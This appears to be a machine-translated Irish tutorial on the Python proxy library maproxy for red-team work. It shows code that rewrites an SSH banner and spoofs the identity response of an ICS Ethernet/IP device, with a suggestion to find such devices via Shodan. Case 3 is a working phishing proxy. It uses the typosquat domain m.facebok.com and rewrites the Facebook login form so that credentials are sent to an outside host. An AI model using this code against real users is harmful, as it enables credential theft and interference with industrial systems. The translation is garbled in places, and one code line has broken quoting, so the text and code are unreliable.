Ullmhaíodh aistriúchán an ailt ar an oíche roimh thús an chúrsa
Anótáil
Baineann éagsúlacht de mheasúnuithe slándála, ó thástáil rialta treá agus oibríochtaí na Foirne Deirge go haiceáil gléasanna IoT/ICS agus SCADA, le bheith ag obair le prótacail líonra dhénártha, is é sin, go bunúsach idircheapadh agus modhnú sonraí líonra idir an cliant agus an sprioc. Ní tasc deacair é trácht líonra a sniffing ós rud é go bhfuil uirlisí againn mar Wireshark, Tcpdump nó Scapy, ach is cosúil gur tasc níos déine ar shaothar é an modhnú mar beidh gá le comhéadan de chineál éigin chun sonraí an líonra a léamh, a scagadh, a athrú. é ar an eitilt agus é a sheoladh ar ais chuig an óstach sprice i mbeagnach fíor-ama. Ina theannta sin, bheadh sé iontach dá bhféadfadh uirlis den sórt sin oibriú go huathoibríoch le naisc chomhthreomhara iolracha agus go bhféadfaí é a shaincheapadh ag baint úsáide as scripteanna.
Lá amháin fuair mé amach uirlis ar a dtugtar
, rinne na doiciméid soiléir dom go tapa maproxy
– díreach an rud atá uaim. Is seachfhreastalaí TCP simplí, ilúsáideach é seo agus is furasta é a chumrú. Thástáil mé an uirlis seo ar roinnt feidhmchlár measartha casta, lena n-áirítear gléasanna ICS (a ghineann go leor paicéid) féachaint an bhféadfadh sé go leor nasc comhthreomhar a láimhseáil, agus d'fheidhmigh an uirlis go maith.
Tabharfaidh an t-alt seo isteach tú ar phróiseáil sonraí líonra ar an eitilt ag baint úsáide as maproxy
.
Athbhreithniú a dhéanamh ar
Uirlis maproxy
bunaithe ar Tornado, creat líonraithe asincrónach a bhfuil tóir air agus aibí i Python.
Go ginearálta, is féidir é a oibriú i roinnt modhanna:
TCP:TCP
– naisc TCP neamhchriptithe;TCP:SSL
иSSL:TCP
– le criptiú aontreo;SSL:SSL
– criptiú déthreo.
Tagann sé mar leabharlann. Chun tús tapa a chur leis, is féidir leat comhaid shamplacha a úsáid a léiríonn na príomh-chomhaid
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
Cás 1 – seachfhreastalaí déthreo shimplí
Bunaithe ar tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
De réir réamhshocraithe ProxyServer()
Bíonn dhá argóint ann – suíomh an naisc agus an spriocphort. server.listen()
Bíonn argóint amháin - an port chun éisteacht leis an nasc isteach.
An script a rith:
# python tcp2tcp.py
Chun an tástáil a rith, táimid chun nascadh le freastalaí SSH áitiúil trínár seachfhreastalaí, a éisteann ar 2222/tcp
port agus nascann sé le calafort caighdeánach 22/tcp
Freastalaithe SSH:
Cuireann an bhratach fáilte in iúl duit gur éirigh lenár script shamplach trácht líonra a sheachvótáil.
Cás 2 – modhnú sonraí
Script taispeána eile logging_proxy.py
iontach chun idirghníomhú le sonraí líonra. Déanann na tuairimí sa chomhad cur síos ar na modhanna ranga is féidir leat a mhodhnú chun do sprioc a bhaint amach:
Tá an rud is suimiúla anseo:
on_c2p_done_read
– sonraí a thascradh feadh na slí ón gcliant go dtí an freastalaí;on_p2s_done_read
- droim ar ais.
Déanaimis iarracht an bhratach SSH a chuireann an freastalaí ar ais chuig an gcliant a athrú:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
Rith an script:
Mar a fheiceann tú, cuireadh an cliant amú toisc gur athraíodh ainm an fhreastalaí SSH dó «DumnySSH»
.
Cás 3 – leathanach gréasáin fioscaireachta simplí
Tá bealaí gan teorainn ann chun an uirlis seo a úsáid. An uair seo dírímid ar rud éigin níos praiticiúla ó thaobh oibríochtaí na Foirne Deirge. Déanaimis aithris ar an leathanach tuirlingthe m.facebook.com
agus bain úsáid as fearann saincheaptha le clóscríobh d’aon ghnó, mar shampla, m.facebok.com
. Chun críocha taispeána, déanaimis glacadh leis go bhfuil an fearann cláraithe linn.
Táimid chun nasc líonra neamhchriptithe a bhunú lenár seachfhreastalaí íospartaigh agus SSL Stream chuig an bhfreastalaí Facebook (31.13.81.36
). Chun an sampla seo a dhéanamh, ní mór dúinn ceanntásc an óstaigh HTTP a athsholáthar agus an t-óstainm ceart a instealladh, agus díchumasóimid comhbhrú freagartha freisin ionas gur féidir linn an t-ábhar a rochtain go héasca. Ar deireadh thiar cuirfimid an fhoirm HTML in áit ionas go seolfar na dintiúir logáil isteach chugainn in ionad freastalaithe Facebook:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/ga/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
Go hachomair:
Mar a fheiceann tú, bhíomar in ann an suíomh bunaidh a athsholáthar go rathúil.
Cás 4 – Ethernet/IP á aistriú
Tá mé ag plé le gléasanna agus bogearraí tionsclaíochta (ICS/SCADA) le tamall maith anuas, mar rialaitheoirí in-ríomhchláraithe (PLC), modúil I/O, thiomáineann, athsheachadáin, timpeallachtaí ríomhchláraithe dréimire agus go leor eile. Tá an cás seo ann dóibh siúd ar mhaith leo rudaí tionsclaíocha. Is éard atá i gceist le réitigh den sórt sin a hack imirt go gníomhach le prótacail líonra. Sa sampla seo a leanas, ba mhaith liom a thaispeáint conas is féidir leat trácht líonra ICS/SCADA a mhodhnú.
Chun seo beidh na rudaí seo a leanas uait:
- Sniffer líonra, mar shampla, Wireshark;
- Ethernet/IP nó díreach gléas SIP, is féidir leat é a fháil ag baint úsáide as an tseirbhís Shodan;
- Tá ár script bunaithe ar
maproxy
.
Ar dtús, déanaimis féachaint ar an gcuma atá ar ghnáthfhreagairt aitheantais ó CIP (Prótacal Coiteann Tionscail):
Baintear úsáid as an bprótacal Ethernet/IP a shainaithint, ar leagan feabhsaithe é den phrótacal Ethernet tionsclaíoch a chumhdaíonn prótacail rialaithe ar nós CIP. Táimid chun an t-ainm aitheantais aibhsithe atá le feiceáil sa screenshot a athrú "NI-IndComm le haghaidh Ethernet" ag baint úsáide as ár script seachfhreastalaí. D’fhéadfaimis an script a athúsáid logging_proxy.py
agus modh an ranga a mhodhnú mar an gcéanna on_p2s_done_read
, toisc go dteastaíonn uainn ainm aitheantais difriúil a bheith le feiceáil ar an gcliant.
Cód:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
Go bunúsach, d'iarramar aithint gléas faoi dhó, ba é an dara freagra an ceann bunaidh, agus athraíodh an chéad cheann ar an eitilt.
Agus an ceann deireanach
I mo thuairim maproxy
Uirlis áisiúil agus simplí, atá scríofa freisin i Python, mar sin creidim gur féidir leatsa freisin leas a bhaint as é a úsáid. Ar ndóigh, tá uirlisí níos casta ann chun sonraí líonra a phróiseáil agus a mhodhnú, ach tá níos mó airde ag teastáil uathu freisin agus de ghnáth cruthaítear iad le haghaidh cás úsáide sonrach, e.g. maproxy
is féidir leat do chuid smaointe a chur i bhfeidhm go tapa maidir le sonraí líonra a idircheapadh, ós rud é go bhfuil na scripteanna samplacha an-soiléir.
Foinse: will.com